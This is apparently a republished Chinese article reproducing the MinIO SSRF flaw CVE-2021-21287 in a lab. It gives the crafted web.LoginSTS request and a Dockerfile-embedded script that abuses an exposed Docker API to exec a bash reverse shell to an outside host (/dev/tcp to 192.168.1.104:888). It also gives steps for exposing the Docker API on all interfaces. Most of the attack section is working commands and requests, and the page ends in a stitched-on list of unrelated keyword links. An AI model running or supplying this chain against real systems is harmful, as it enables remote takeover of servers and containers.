MinIO未授权SSRF漏洞CVE-2021-21287怎么分析
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,本篇文章为大家展示了MinIO未授权SSRF漏洞CVE-2021-21287怎么分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。MinIO未授权SSRF漏洞
千家信息网最后更新 2025年01月20日MinIO未授权SSRF漏洞CVE-2021-21287怎么分析
本篇文章为大家展示了MinIO未授权SSRF漏洞CVE-2021-21287怎么分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
MinIO未授权SSRF漏洞(CVE-2021-21287)
一、漏洞简介
由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令
该漏洞无需用户验证即可远程利用
二、影响版本
MinIO < RELEASE.2021-01-30T00-20-58Z
三、环境准备&漏洞复现
Docker 安装 minio:
docker-compose.yml
version: '3.7'services: minio1: image: minio/minio:RELEASE.2021-01-16T02-19-44Z volumes: - data1-1:/data1 - data1-2:/data2 ports: - "9000:9000" environment: MINIO_ACCESS_KEY: minio MINIO_SECRET_KEY: minio123 command: server http://minio{1...4}/data{1...2} healthcheck: test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"] interval: 30s timeout: 20s retries: 3## By default this config uses default local driver,## For custom volumes replace with volume driver configuration.volumes: data1-1: data1-2:
启动环境:
首页样式:
http://192.168.1.108:9000/minio/login
1、验证SSRF
具体数据包:
POST /minio/webrpc HTTP/1.1Host: 192.168.1.104:1234User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
2、ssrf反弹shell
web服务下面放文件:index.php(apache)
反弹shell文件:
DockerFile如下:
FROM alpine:3.13RUN apk add curl bash jqRUN set -ex && \ { \ echo '#!/bin/bash'; \ echo 'set -ex'; \ echo 'target="http://192.168.1.108:2375"'; \ echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \ echo 'for item in ${jsons[@]}; do'; \ echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \ echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \ echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \ echo ' break'; \ echo ' fi'; \ echo 'done'; \ echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.104/888 0>&1\"]}" | jq -r ".Id")'; \ echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash
具体操作数据包:
POST /minio/webrpc HTTP/1.1Host: 192.168.1.104User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
为了好的展示录了一个小视频。
过程枯燥等待较长:加了一个BGM
视频:
操作视频的结果:
https://mp.weixin.qq.com/s/9OavrcdczSZDXler5IpiQQ
注意⚠️:
因为自己Docker API已开启,过程未写入其中。
开启Docker API参考:
打开配置文件找到
打开配置文件找到ExecStart=/usr/bin/dockerd 修改为ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重启$ systemctl daemon-reload$ systemctl restart docker
上述内容就是MinIO未授权SSRF漏洞CVE-2021-21287怎么分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。
漏洞
文件
服务
服务器
攻击
分析
内容
技能
攻击者
数据
环境
知识
视频
过程
配置
验证
不当
简明
成功
枯燥
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
java 枚举获取数据库数据
教育局网络安全员工资
平度电商软件开发外包公司
部队对网络安全发言
合肥公安网网络安全
web服务器五项功能
校外访问校内数据库方法
目前用于软件开发
贵州诚信积分管理软件开发
数据库火车票预订管理系统
网络安全微课课件
旅行青蛙软件开发的初衷
网络安全与通信工程
软件开发破解考勤
贵州高中网络技术知识
大数据网络时代的网络安全
智亮软件开发有限公司
在数据库视图中不能修改
酒店必须用阿尔卡特朗讯服务器吗
工业opc服务器软件
数据库循环删除数据库数据
网络安全等级测评的概念
根域名服务器长什么样
数据库连接池的区别
店群系统软件开发
南京雷睿智网络技术有限公司
中央采购数据库
数据库课题为信息化建设提供什么
超市本地服务器
上海教育系统软件开发公司